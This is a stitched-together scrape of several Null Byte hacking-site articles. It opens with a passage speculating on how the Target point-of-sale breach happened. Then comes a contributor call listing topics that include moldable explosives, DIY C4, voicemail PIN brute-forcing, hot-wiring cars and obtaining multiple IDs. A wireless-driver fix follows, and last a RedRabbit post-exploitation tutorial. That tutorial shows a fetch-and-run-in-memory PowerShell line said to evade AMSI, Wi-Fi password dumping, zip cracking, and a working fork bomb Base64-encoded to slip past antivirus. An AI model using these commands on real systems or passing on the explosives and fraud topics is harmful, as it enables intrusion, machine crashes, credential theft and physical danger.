West.Further support for the Russian source of the attack is that the malware used had been seen for sale on the Russian cybercrime black market months before the attack. In addition, when the malware was examined, the comments in the code were in Russian.This doesn't necessarily mean that the attack came from Russia, as anyone could have purchased the software and used it, but it is strong circumstantial evidence.The Zero-Day Exploit That Was UsedBecause the malware was a zero-day exploit, no anti-malware orNIDSdetected it. Antivirus, anti-malware, and IDS systems are dependent upon knownsignaturesof known malware, as we've learned inmy guide on evading Snort, the leading IDS/IPS.If a piece of malware has never been seen in the wild, then a signature doesn't exist in any anti-malware databases to detect it. In addition, even if a signature did exist, it's easy enough to change the signature by mutating and/or re-encoding it, as I've shown inmy tutorial on changing Metasploit payload signaturesanddisguising an exploit's signature.It now seems that a 17-year-old from St. Petersburg, Russia developed the software that has been named BlackPOS. It first appeared on the black market around March of last year. This does not necessarily mean that he actually carried out the security breach. More likely (as often happens in these situations), he simply developed the code and then sold it to the highest bidder.Target Had Unpatched Windows SystemsIt appears that Target was using unpatched Windows operating systems on their POS systems. This is a REALLY bad idea, but common. Obviously, theWindows vulnerabilitiesarewell-documentedand leaving them unpatched is just asking for trouble.Apparently, developers of these POS systems—like any other system used to take credit cards—must be PCI-DSS certified. Once they become certified, if they upgrade or patch the operating system, they must go through the certification process again. As a result, they are reluctant to upgrade or patch as they would have the additional time and expense of re-certifying. This anti-incentive is clearly counter intuitive to the goals of PCI-DSS, but there you have it.A much better idea would have been to develop a proprietary operating system where the vulnerabilities are unknown (boosting security through obscurity), but the POS developers don't want to invest the time and money in doing so. As long as they don't, attacks like this will likely continue.Attack One POS & Pivot to the RestThe attackers apparently compromised one system on the network and then pivoted from that one system to every POS system in the Target U.S. network. This is very similar to what I've just discussed inmy recent guide on pivoting.This one system could have been compromised by something as seemingly innocuous asa malicious link sent from an emailora malicious PDF file attachment. If just ONE person on the network clicks on the link, it's possible to compromise the entire network.Exfiltrate (Remove) The Data to a Web ServerOnce the attackers had their malware in place on every POS system, they then moved the data to a centralized server in the Target network. From that repository, and when Target's system were busiest, they exfiltrated the data to a compromised web server (it appears that this web server was an unsuspecting accomplice) in Russia.This was apparently to obfuscate the exfiltration. In other words, so much normal data was moving in and out over the pipe at that time that security engineers didn't detect this anomalous communication. It was probably also encrypted, making detection even more difficult, as I've demonstrated inmy tutorial on exfiltrating encrypted data with cryptcat.We now know that they were able to remove 11 GB of data, and by the time the forensic researchers had traced the data to the compromised web server, it had been wiped clean.Sell the Credit Card NumbersOften times, when cyber criminals steal credit card information they don't actually use it themselves as that's the easiest way to get caught. Instead, they prefer to sell them on adeep web black marketas stolen credit numbers. In this way, they are able to firewall themselves from the trail if someone gets caught using a stolen card number.Generally, stolen card numbers sell for between $5 and $50 each, depending upon the quality (American Express, Platinum Cards, etc.) and the credit limit. This means if 100 million cards were stolen from Target, the take for the criminals would range between $500 million and $5 billion!On Monday, January 20, 2014, law enforcement officials in Texasarrested two Mexican nationalswith 96 of these card numbers in their possession. It's clear from this information that not only are the numbers being sold, but fake cards are being generated with the magnetic strip information stolen from Target customers.And That's How It Probably Went DownAs said before, no official details were released yet, but this is probably how it went down. As the vulnerable POS systems Target uses are also used in other chains, I wouldn't be surprised if we start hearing about other stores being hacked as well in the coming weeks. Keep coming back, my fledgling hackers, as I will update this information as I learn more about this historic hack.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover images via Shutterstock (1,2)RelatedNews:8 Tips for Creating Strong, Unbreakable PasswordsHow to Hack Databases:The Terms & Technologies You Need to Know Before Getting StartedNews:The Hack of the Century!News:Can We Hack the Hackers?How To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyNews:A Brief History of HackingHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksNews:U.S. Justice Department Indicts Iranian HackersNews:Predictions for the New YearAdvice from a Real Hacker:Why I'm Skeptical That North Korea Hacked SonyHow to Hack Like a Pro:Getting Started with MetasploitThe Sony Hack:Thoughts & Observations from a Real HackerHow To:The Five Phases of HackingHow To:The Ultimate Guide to Hacking macOSHow To:Hack RFID enabled credit card & steal money for cheapHow to Hack Databases:Extracting Data from Online Databases Using SqlmapHow To:Conduct Recon on a Web Target with Python ToolsHow To:Exploit Recycled Credentials with H8mail to Break into User AccountsHow To:4 Apps to Help Keep Your Android Device SecureHow To:Your Phone's Biggest Security Weakness Is Its Data Connection — Here's How to Lock It DownHow To:Learn the Ins & Outs, Infrastructure & Vulnerabilities of Amazon's AWS Cloud Computing PlatformNews:Jobs & Salaries in Cyber Security Are Exploding!Android for Hackers:How to Backdoor Windows 10 & Livestream the Desktop (Without RDP)News:Apple Says iPhone & iCloud Are Safe After Claimed Breach by 'Turkish Crime Family'News:Islamic State (ISIS) Attacks U.S. Power Grid!Hack Like a Pro:The Hacker MethodologyHow To:Use Ettercap to Intercept Passwords with ARP SpoofingHow To:Use Maltego to Target Company Email Addresses That May Be Vulnerable from Third-Party BreachesHow To:Why You Should Study to Be a HackerHacking macOS:How to Dump Passwords Stored in Firefox Browsers RemotelyHow To:Identify Antivirus Software Installed on a Target's Windows 10 PCHow To:Steal Ubuntu & MacOS Sudo Passwords Without Any CrackingNews:Indie and Mainstream Online Games Shut Down by LulzSecNews:1.5 Million Credit Cards Hacked in the Global Payments Breach: Was Yours One of Them?How To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP PoisoningNews:FBI Shuts Down One of the Biggest Hacking ForumsSocial Engineering, Part 1:Scoring a Free Cell PhoneHow To:How Hackers Steal Your Cash on Trusted Sites & How to Prevent Against ItCISPA:What You Need to Know |
Weekend Homework: How to Become a Null Byte Contributor (2/3/2012) « Null Byte :: WonderHowTo | We're officially seeking Null Byters on a weekly basis who are willing to take the time to educate the community. Contributors will write tutorials, which will be featured on the Null Byte blog, as well as the front page ofWonderHowTo(IF up to par, of course). There is no need to be intimidated if you fear you lack the writing skills. I will edit your drafts if necessary and get them looking top-notch! You can write tutorials on any skill level, and about anything you feel like sharing that is related to tech, hacking, psychology and social manipulation—or whatever other life hacks you think mesh with our community.Can I Help in Another Way?This isn't inclusive of tutorials, even if you simply post useful links and articles to thecorkboard, you are doing the community ahugefavor, because at some point, someone will need the information you have provided. Let's continue to make Null Byte the bestforumever by stuffing it with the latest and greatest hacking tutorials and topics.If you have skills and want to share knowledge on any of the topics below, please leave a response in the comments with which topic you would like to write,post directly to the corkboard, or message me privately. If you have any additional ideasat all, please submit them below.This Weeks TopicsMisc. social engineering—Throw Null Byte any social engineering experiences you may have, whether it be scoring something for free, or getting private information, do tell. Should include detailed methods, and the psychology behind why it works.How to Make Moldable Explosives—The teacher can educate how to make moldable explosives using clay thermite, DIY C4, etc. Anything that fits the category works.How to Hack Voicemail Passwords—Make a tutorial on how to hack a voicemail passwords by making a program to bruteforce peoples PIN. You can use libraries—I actually encourage it to avoid bugs and extremely lengthy code.How to Hot Wire a Car—A tutorial on how to hot wire a car, and demonstrate if possible. Though, I know it can be hard to get a hold of a vehicle to play with that doesn't have a computer, so it's okay if you can't.How to Get into a Car Without Keys—Use any method, coat hanger, pin, etc. to unlock a car door.How to Make an Exploding Light Bulb—Teach users how to make an exploding light bulb using potassium nitrate.How to Make a DIY Smoke Bomb—You are expected to make a tutorial on how to make a relatively harmless smoke bomb. Anything you can create to make a smoke screen, without mixing dangerous chemicals, is cool.How to Get Multiple IDs—Teach the forum what goes into the manipulation behind scoring multiple IDs.Soldering on LEDs—Create a tutorial on how LEDs are soldered to PCBs. This should explain the hows and whys, but also what types of LEDs are better than others.How to Spoof Bit Torrent Seed Ratios—Teach Null Byte how to spoof data to trackers to make them think we are uploading more data than we actually are to boost upload ratios (which often unlocks features on sites, etc.).Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage viascreenokRelatedNews:And the Winner of the White Hat Award for Technical Excellence Is...Weekend Homework:How to Become a Null Byte Contributor (2/17/2012)Weekend Homework:How to Become a Null Byte Contributor (3/2/2012)Weekend Homework:How to Become a Null Byte Contributor (3/16/2012)Weekend Homework:How to Become a Null Byte Contributor (2/24/2012)Weekend Homework:How to Become a Null Byte Contributor (2/10/2012)Weekend Homework:How to Become a Null Byte ContributorWeekend Homework:How to Become a Null Byte Contributor (3/9/2012)How To:Things to Do on WonderHowTo (02/08 - 02/14)How To:Things to Do on WonderHowTo (02/01 - 02/07)How To:Things to Do on WonderHowTo (02/22 - 02/28)How To:Things to Do on WonderHowTo (03/21 - 03/27)Null Byte:Never Let Us DieHow To:Things to Do on WonderHowTo (02/15 - 02/21)How To:Things to Do on WonderHowTo (01/25 - 01/31)Weekend Homework:How to Become a Null Byte Contributor (1/29/2012)Weekend Homework:How to Become a Null Byte Contributor (1/12/2012)Community Roundup:Fix an Xbox with Pennies, Carve Polyhedral Pumpkins & MoreHow To:Things to Do on WonderHowTo (01/18 - 01/24)News:Null Byte Is Calling for Contributors!How Null Byte Injections Work:A History of Our NamesakeHow To:Things to Do on WonderHowTo (11/23 - 11/29)News:Hey, You! Astronomy World Is Looking for Contributors! Are You Up for the Task?Farewell Byte:Goodbye Alex, Welcome AllenHow To:Things to Do on WonderHowTo (03/07 - 03/13)How To:Things to Do on WonderHowTo (02/29 - 03/06)News:Ni No Kuni Coming To The US!News:A New Ink & Paint!How To:Enable Code Syntax Highlighting for Python in the Nano Text EditorNews:Null CommunityA Null Byte Call to Arms:Join the Fight Against IgnoranceHow To:Things to Do on WonderHowTo (01/11 - 01/17)How To:Quickly Encrypt Your Web Browsing Traffic When Connected to Public WiFiHow To:Things to Do on WonderHowTo (01/04 - 01/10)How To:Things to Do on WonderHowTo (11/16 - 11/22)How To:Get Free Netflix for LifeSkyrim Hack:Get Whatever Items You Want By Hacking Your Game SaveHow To:Run a Virtual Computer Within Your Host OS with VirtualBoxHow To:Things to Do on WonderHowTo (03/14 - 03/20)How To:Get Unlimited Money in Skyrim by Hacking Your Game Saves |
How to Fix the Channel -1 Glitch in Airodump on the Latest Kernel « Null Byte :: WonderHowTo | Ever since kernel 2.6.xx in Linux, a lot of the internet kernel modules for wireless interfaces became broken when accessing monitor mode. What happens commonly (to myself included) is a forced channel that your card sits on. No good! For users of airodump and the aircrack-ng suite, the software has become unusable.In order for us to assess the strength of wireless networks again, we are going to need to perform a few fixes, which can be a bit confusing for a lot of you users new to the hacking world. So, let's take your first step into patching software and get our wireless cards cracking again.RequirementsAircrackLinuxA wireless card stuck in channel -1Step1Verify the IssueText inboldis a terminal command.Let's reproduce this "little" issue. Throw your wireless card into monitor mode and run the airodump program.sudo ifconfig wlan0 downsudo ifconfig wlan0 mode monitorsudo ifconfig wlan0 upsudo airmon-ng startYou should see in the top-right that you are stuck in channel -1. This is an impossible number for a channel. To fix this, we need to apply a patch to it, but for convenience sake, instead of installing the package from source and patching the files manually, let's take advantage of an awesome package from the AUR!Step2Install the "compat-wireless-patched" PackageFollow along with me in this video for installing the package and selecting our appropriate driver. If you require knowing your chipset or driver, just grep for it in your system.lspci | grep netPlease enable JavaScript to watch this video.Instructionsyaourt -S compat-wireless-patchedEdit thePKGBUILDfile on the line shown in the video and replace the driver name with the appropriate one that you require.After the installation, a reboot may be necessary.Follow and Chat with Null Byte!TwitterGoogle+IRC chatWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage viaCorelanRelatedHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow To:Improve Battery Life on Your Nexus 7 Tablet with This Easy Power-Saving TweakHow To:Indian (Telugu) Character Crashing Messages? Try ThisHow To:Fix the 'A [?]' Autocorrect Bug in iOS 11 When Typing 'i' Out on Your iPhoneNews:Evil Twin(Part 3) - the Full Bash ScriptHow To:Install the ElementalX Custom Kernel on Your OnePlus 6THow To:Nexus 5 Keeps Restarting or Shutting Off? Here's the FixHow To:Hunt Down Wi-Fi Devices with a Directional AntennaNews:iOS 11.3 Bug Removes Screenshot Previews for Some iPhone UsersNews:iOS 11.2.6 Released for iPhones with Patch for 'Telugu' Character BugHow To:Evil Twin (Part 2) - Creating the Bash Script.How To:Enable True Stereo Sound on Your Pixel XLHow To:The Real Story Behind Rooting the Samsung Galaxy S4—And Its New Secured KernelHow To:Hack WPA wireless networks for beginners on Windows and LinuxNews:iOS 11.1.1 Update Patches Widespread 'A [?]' Glitch, Ignores Calculator IssuesCompile a Linux Kernel Part 1:Theory...a Lot of Theory (1/2)How To:Fix "Network Is Down" on Airodump-NgHow To:Automatically Overclock Your Android When You Open Certain AppsHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)How To:Get Packet Injection Capable Drivers in LinuxHow To:Get Your AMD Graphics, Sound & Other Drivers to Work in Linux on Your LaptopHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Fix the Unreadable USB Glitch in VirtualBoxNews:Snapshot 12w07a & 12w07b Glitches and FixesNews:Master FarmVille - A Nice FarmVille Fan BlogHow To:Bypass a Local Network Proxy for Free InternetFilter Photography Challenge:A Minor GlitchHow To:Create a Multi-Channel Music Sequencer in MinecraftNews:Minecraft World's Weekly Workshop: Creating a Multi-Channel Music Sequencer |
How to Use RedRabbit for Pen-Testing & Post-Exploitation of Windows Machines « Null Byte :: WonderHowTo | RedRabbit is an ethical hacking toolkit built for pen-testing and reconnaissance. It can be used to identify attack vectors, brute-force protected files, extract saved network passwords, and obfuscate code. RedRabbit, which is made specifically for red teams, is the evil twin of its brother, BlueRabbit, and is the offensive half of the "Rabbit Suite."The creator of RedRabbit, Ashley Moran, better known assecurethelogs, makes a plethora of Windows-based ethical hacking and penetration testing tools. RedRabbit just happens to be one of my favorites.RedRabbitoffers pen-testers of Windows systems an alternative to tools such as PowerShell Empire (or justEmpire), which is no longer in development. While not quite picking up the torch in terms of the scope of Empire, a now-depreciated, catch-all tool, RedRabbit is both lightweight and up to date, guaranteeing it will run on most Windows systems.Don't Miss:How to Use The Koadic Command & Control Remote Access Toolkit for Windows Post-ExploitationMoran's tool can be downloaded and run directly in memory, which lessens the chance of being detected. As a bonus, Windows AMSI doesn't currently recognize RedRabbit as a malicious script (unlike most offensive PowerShell tools).RedRabbit is still in active development, and while most of its features are finished, a few aren't quite fleshed-out yet (at least, at the time of publishing). So, for now, let's focus on just a few of the juicier things RedRabbit has to offer.What You NeedThis is apost-exploitationtool, so you're going to need to have administrator access to use RedRabbit. If you don't have admin rights but would like to get it, privilege escalation can help, a topic we've covered more than once here on Null Byte.Don't Miss:Null Byte's Guides on Hacking Windows 10Aside from that, to use RedRabbit, all you need is a machine running Windows, thelatest versionof PowerShell, and an internet connection.Step 1: Make Sure You Can Run ScriptsFirst, open upWindows PowerShellas an administrator. You can search or browse for the app in Windows, then right-click and select "Run as Administrator." Instead of right-clicking, with PowerShell selected, you can hitControl-Shiftand thenEnter. That keyboard shortcut in Windows opens up apps in administrator mode. Click "Yes" if asked to let PowerShell make changes.Now, make sure your PowerShell execution policy allows you to run scripts:C:\> Get-ExecutionPolicyIf PowerShell comes back at you with "Restricted," go ahead and set it toRemoteSigned. Then confirm the change by typingYand pressingEnter.C:\> Set-ExecutionPolicy RemoteSignedStep 2: Download, Install & Run RedRabbitWe're going to download the RedRabbit PowerShell script as plaintext directly fromsecurethelog's GitHub page for RedRabbit. To download RedRabbit and run the script without ever having to save it on the hard disk, we use the "Invoke-Expression" (iexfor short) command. RedRabbit should immediately run after this.C:\> $url = "https://raw.githubusercontent.com/securethelogs/RedRabbit/master/redrabbit.ps1"
C:\> iex(New-Object Net.WebClient).DownloadString($url)You could also shorten that to one line if you want:C:\> iex(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/securethelogs/RedRabbit/master/redrabbit.ps1")If, for some reason, you'd like to download and save the script, go ahead and use the code below instead. It will save the PowerShell script in your chosen location, but it won't open it up automatically.C:\> $out = C:\Chosen\Location\Script.ps1
C:\> $url = "https://raw.githubusercontent.com/securethelogs/RedRabbit/master/redrabbit.ps1"
C:\> Invoke-WebRequest -uri $url -outfile $outTo run RedRabbit, type the location of the script preceded by a dot.C:\> .\Chosen\Location\Script.ps1Recommended on Amazon:"PowerShell: A Comprehensive Guide to Windows PowerShell" by Sam GriffinStep 3: Use RedRabbitAs soon as you run the tool, you should be greeted by RedRabbit's logo and options menu, as seen below. We're going to check out a few of these options to see how they work. A full description of each option can be found onsecurethelog's website.██▀███ ▓█████ ▓█████▄ ██▀███ ▄▄▄ ▄▄▄▄ ▄▄▄▄ ██▓▄▄▄█████▓ \\\,_
▓██ ▒ ██▒▓█ ▀ ▒██▀ ██▌▓██ ▒ ██▒▒████▄ ▓█████▄ ▓█████▄ ▓██▒▓ ██▒ ▓▒ \` ,\
▓██ ░▄█ ▒▒███ ░██ █▌▓██ ░▄█ ▒▒██ ▀█▄ ▒██▒ ▄██▒██▒ ▄██▒██▒▒ ▓██░ ▒░ __,.-" =__)
▒██▀▀█▄ ▒▓█ ▄ ░▓█▄ ▌▒██▀▀█▄ ░██▄▄▄▄██ ▒██░█▀ ▒██░█▀ ░██░░ ▓██▓ ░ ." )
░██▓ ▒██▒░▒████▒░▒████▓ ░██▓ ▒██▒ ▓█ ▓██▒░▓█ ▀█▓░▓█ ▀█▓░██░ ▒██▒ ░ ,_/ , \/\_
░ ▒▓ ░▒▓░░░ ▒░ ░ ▒▒▓ ▒ ░ ▒▓ ░▒▓░ ▒▒ ▓▒█░░▒▓███▀▒░▒▓███▀▒░▓ ▒ ░░ \_| )_-\ \_-`
░▒ ░ ▒░ ░ ░ ░ ░ ▒ ▒ ░▒ ░ ▒░ ▒ ▒▒ ░▒░▒ ░ ▒░▒ ░ ▒ ░ ░
░░ ░ ░ ░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░ ░ ▒ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░
Creator: https://securethelogs.com / @securethelogs
Current User: timsacerlaptop\tim-laptop | Current Machine: TimsAcerLaptop
Session Running As Admin: True!! | Is User Domain Admin: Computer In WORKGROUP, Cannot Query AD
Please select one of the following:
Option 1: Quick Recon Option 10: Password Extraction
Option 2: Scan Subnet Option 11: Encode Commands (Base64)
Option 3: Clipboard Logger Option 12: Run Encoded Commands (Base64)
Option 4: Network Scanner Option 13: Edit Local Host (SMB Relay)
Option 5: DNS Resolver Option 14: Probe For SMB Share
Option 6: Brute Force ZIP Option 15: Web Crawler
Option 7: Brute WinRM Option 16: File Crawler
Option 8: Test Extraction Connection
Option 9: Show Local Firewall Deny Rules
--- OSINT Options ---- --- Cloud Options ----
Option A: Find Subdomains Option Azure: Query Azure/AzureAD
Option B: Daily PasteBin
Option C: Scan Azure Resource
Option D: Scan Socials For Usernames
Option ::Quick ReconLet's take a look at the first option, "Quick Recon." Type1and then hitEnter. This displays a plethora of information, including system privilege constants such as process memory quotas (something that would be useful to know if, for instance, you wanted to perform a buffer-overflow attack).It also shows us the system accounts, which of those accounts have admin privileges, our current network status, installed programs, and the system's firewall rules, allowing us to identify potential vectors of attack.Option :: 1
User: ****\****
Hostname: ******
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
============================================================= ================ ============ ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
...
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeSecurityPrivilege Manage auditing and security log Disabled
...
LOCAL USERS INFORMATION
-----------------------
User accounts for \\TIMSACERLAPTOP
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
Squibble TheRealTim Tim-Laptop
WDAGUtilityAccount
The command completed successfully.
PROGRAM INFORMATION
-------------------
7-Zip
Acer
...
WindowsPowerShell
FIREWALL INFORMATION
-------------------
Name DisplayName DisplayGroup Protocol LocalPort RemotePort RemoteAddress Enabled Profile Direction Action
---- ----------- ------------ -------- --------- ---------- ------------- ------- ------- --------- ------
SNMPTRAP-In-UDP SNMP Trap Service (UDP In) SNMP Trap UDP 162 Any LocalSubnet False Private, Public Inbound Allow
SNMPTRAP-In-... SNMP Trap Service (UDP In) SNMP Trap UDP 162 Any Any False Domain Inbound Allow
WiFiDirect-K... WFD Driver-only (TCP-In) WLAN Serv... TCP Any Any Any True Any Inbound Allow
...
{D3972BB3-88... BitTorrent (UDP-In) UDP Any Any Any True Any Inbound AllowOptions 2 and 9 are both included in option 1 for quick reconnaissance, so you don't have to run those separately if you already used option 1 since you'll already have that information at hand.Recommended on Amazon:"PowerShell for Sysadmins: Workflow Automation Made Easy" by Adam BertramCracking Zip FilesA rather interesting feature in RedRabit is the option for attempting to crack a password-protected zip file using a word list. For it to work, we'll need to have the7zipapplication installed on our system.To test this feature out, I wrote a secret message in a .txt file and archived it with a password. Now the file can't be unzipped without a password.What could it be?We're going to need a wordlist if we're going to attempt to crack it, one that hopefully contains the correct password. I useda list of common credentials from SecListson GitHub.Once we have both a zip file to crack and a word list, rerun RedRabbit withYand select option6for "Brute Force ZIP." The tool will then prompt you for the location of the file and your word list. After giving it, it'll begin the brute-force process.Option:: 6
7Zip installed........
Let's Brute ........
Location of Zipped File :: C:\Temp\secret.zip
Location of Wordlist :: C:\Temp\wordlist.txt
ERROR: Wrong password : MySecret.txt
ERROR: Wrong password : MySecret.txt
ERROR: Wrong password : MySecret.txt
ERROR: Wrong password : MySecret.txt
ERROR: Wrong password : MySecret.txt
Password Found: retiasterriblesecret
------------ End -------------------
The Password Is: retiasterriblesecret
Rerun RedRabbit? (Y/N):We cracked it! Who knew "retiasterriblesecret" was the 6th most common password?Dumping Wi-Fi PasswordsRedRabbit also makes it very easy to list the credentials of every saved Wi-Fi network immediately. To use this option, remember you'll have to be running PowerShell as an administrator.After you rerun RedRabbit withYand select option10for "Password Extraction," you'll be prompted to enter the location of a file you wish to save the credentials to. If you'd prefer to have them printed directly in the PowerShell console, leave it blank and pressEnter.Option:: 10
Wireless Passwords Extracted......
Network Name: p****k
Password: w*****k
Network Name: j******s
Password: i****2
Network Name: a******e
Password: c**********a
Network Name: R*******T
Password: n**********7
Network Name: h*******5
Password: 2******************5
Rerun RedRabbit? (Y/N):If you have administrator privileges, you should technically already be able to access the network credentials; RedRabbit just provides an easy and convenient interface for doing so.Encoding & Running Commands in Base64A common method for potentially circumventingantivirussoftware or otherwise obfuscating code is to encode commands in Base64. RedRabbit allows us to both encode PowerShell commands and run encoded commands (Options 11 and 12).To test RedRabbit's encoding option, let's take a simple (but effective) PowerShell fork bomb:$fork = {
param($p)
$block = [ScriptBlock]::Create($p)
Start-Job $block -ArgumentList "$p"
Invoke-Command -ScriptBlock $block -ArgumentList "$p"
}
Invoke-Command -ScriptBlock $fork -ArgumentList $forkUnfortunately, we can only encode single lines of text into Base64 using RedRabbit, so we'll condense this into one line using a few shorthands and semicolons. Use option11for "Encode Commands (Base64)," then use the one-liner as our value for RedRabbit to encode.Option:: 11
Enter The Value To Encode: $fork = {param($p);$block = [ScriptBlock]::Create($p);Start-Job $block -ar "$p";&$block "$p"};&$fork $fork
Encoded Command Below:
JABmAG8AcgBrACAAPQAgAHsAcABhAHIAYQBtACgAJABwACkAOwAkAGIAbABvAGMAawAgAD0AIABbAFMAYwByAGkAcAB0AEIAbABvAGMAawBdADoAOgBDAHIAZQBhAHQAZQAoACQAcAApADsAUwB0AGEAcgB0AC0ASgBvAGIAIAAkAGIAbABvAGMAawAgAC0AYQByACAAIgAkAHAAIgA7ACYAJABiAGwAbwBjAGsAIAAiACQAcAAiAH0AOwAmACQAZgBvAHIAawAgACQAZgBvAHIAawA=
Rerun RedRabbit (Y/N):Now we have a Base64-encoded fork bomb!Disclaimer: this fork bombwillcrash your computer. You've been warned.Now, to initiate our fork bomb, rerun RedRabbit and select option12for "Run Encoded Commands (Base64)." Paste the Base64 string when prompted, and our code begins executing. Don't actually do this with my Base64 fork bomb unless you're OK with Windows crashing.Option:: 12
Paste Encoded Command Here: JABmAG8AcgBrACAAPQAgAHsAcABhAHIAYQBtACgAJABwACkAOwAkAGIAbABvAGMAawAgAD0AIABbAFMAYwByAGkAcAB0AEIAbABvAGMAawBdADoAOgBDAHIAZQBhAHQAZQAoACQAcAApADsAUwB0AGEAcgB0AC0ASgBvAGIAIAAkAGIAbABvAGMAawAgAC0AYQByACAAIgAkAHAAIgA7ACYAJABiAGwAbwBjAGsAIAAiACQAcAAiAH0AOwAmACQAZgBvAHIAawAgACQAZgBvAHIAawA=
Id Name PSJobTypeName State HasMoreData Location
-- ---- ------------- ----- ----------- --------
1 Job1 BackgroundJob Running True localhost
3 Job3 BackgroundJob Running True localhost
5 Job5 BackgroundJob Running True localhost
7 Job7 BackgroundJob Running True localhost
9 Job9 BackgroundJob Running True localhost
11 Job11 BackgroundJob Running True localhost
13 Job13 BackgroundJob Running True localhost
15 Job15 BackgroundJob Running True localhostAfter 48 Iterations, my computer crashed. In other words, job well done!Recommended on Amazon:"PowerShell 7 for IT Professionals: A Guide to Using PowerShell 7 to Manage Windows Systems" by Thomas LeeA Convenient ToolThat was a brief overview of some of the most interesting features of RedRabbit; feel free to check out some of the other ones on your own. Again, a few of the features still aren't entirely finished. This tool is still in active development andsecurethelogshas been updating theGitHub repositoryperiodically. In my testing, the clipboard logger (option 3) didn't work and PowerShell crashed every time I tried to use it. So there are still some bugs that have yet to be worked out.Remember that all the things RedRabbit can do are things that you theoretically should be allowed to do as an administrator (such as getting saved Wi-Fi passwords). As such, it doesn't represent an inherent vulnerability of Windows. What makes RedRabbit a useful tool is that it makes otherwise laborious pen-testing tasks completely automated.Don't Miss:How to Bypass VirusTotal & AMSI Detection Signatures on Windows 10 with ChimeraWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and screenshot by Retia/Null ByteRelatedHow to Hack Like a Pro:Getting Started with MetasploitHow To:Identify Missing Windows Patches for Easier ExploitationHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Attack on Stack [Part 4]; Smash the Stack Visualization: Prologue to Exploitation Chronicles, GDB on the Battlefield.How To:Use Postenum to Gather Vital Data During Post-ExploitationHow To:Create Pen Window App Shortcuts on Your Galaxy Note 3 Without Using the S PenHow To:Add Your Favorite Apps to the Pen Window Drawer on Your Samsung Galaxy Note 3How to Use PowerShell Empire:Generating Stagers for Post Exploitation of Windows HostsHow To:Find & Exploit SUID Binaries with SUID3NUMHow To:Use the Koadic Command & Control Remote Access Toolkit for Windows Post-ExploitationHow To:Extract Windows Usernames, Passwords, Wi-Fi Keys & Other User Credentials with LaZagneHack Like a Pro:Getting Started with BackTrack, Your New Hacking SystemHow To:Remotely Control Computers Over VNC Securely with SSHHow To:Create a Piston Conveyor Belt in MinecraftNews:Vintage Nail ArtNews:C-Based Virtual Machine for the DCPU-16How To:Post-Exploitation Privilege EscalationHow To:Run a Virtual Computer Within Your Host OS with VirtualBoxCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsHow To:Hack Coin-Operated Laudromat Machines for Free Wash & Dry CyclesDIY Polygraph Machine:Detect Lies with Tin Foil, Wire and ArduinoHow To:Create an Automatic Cobblestone Generator in MinecraftHow To:Chain VPNs for Complete AnonymityHow To:Make Yin-Yang Pillow BoxesNews:Add-ons for FarmVilleHow To:Truffle Hunting Guide |
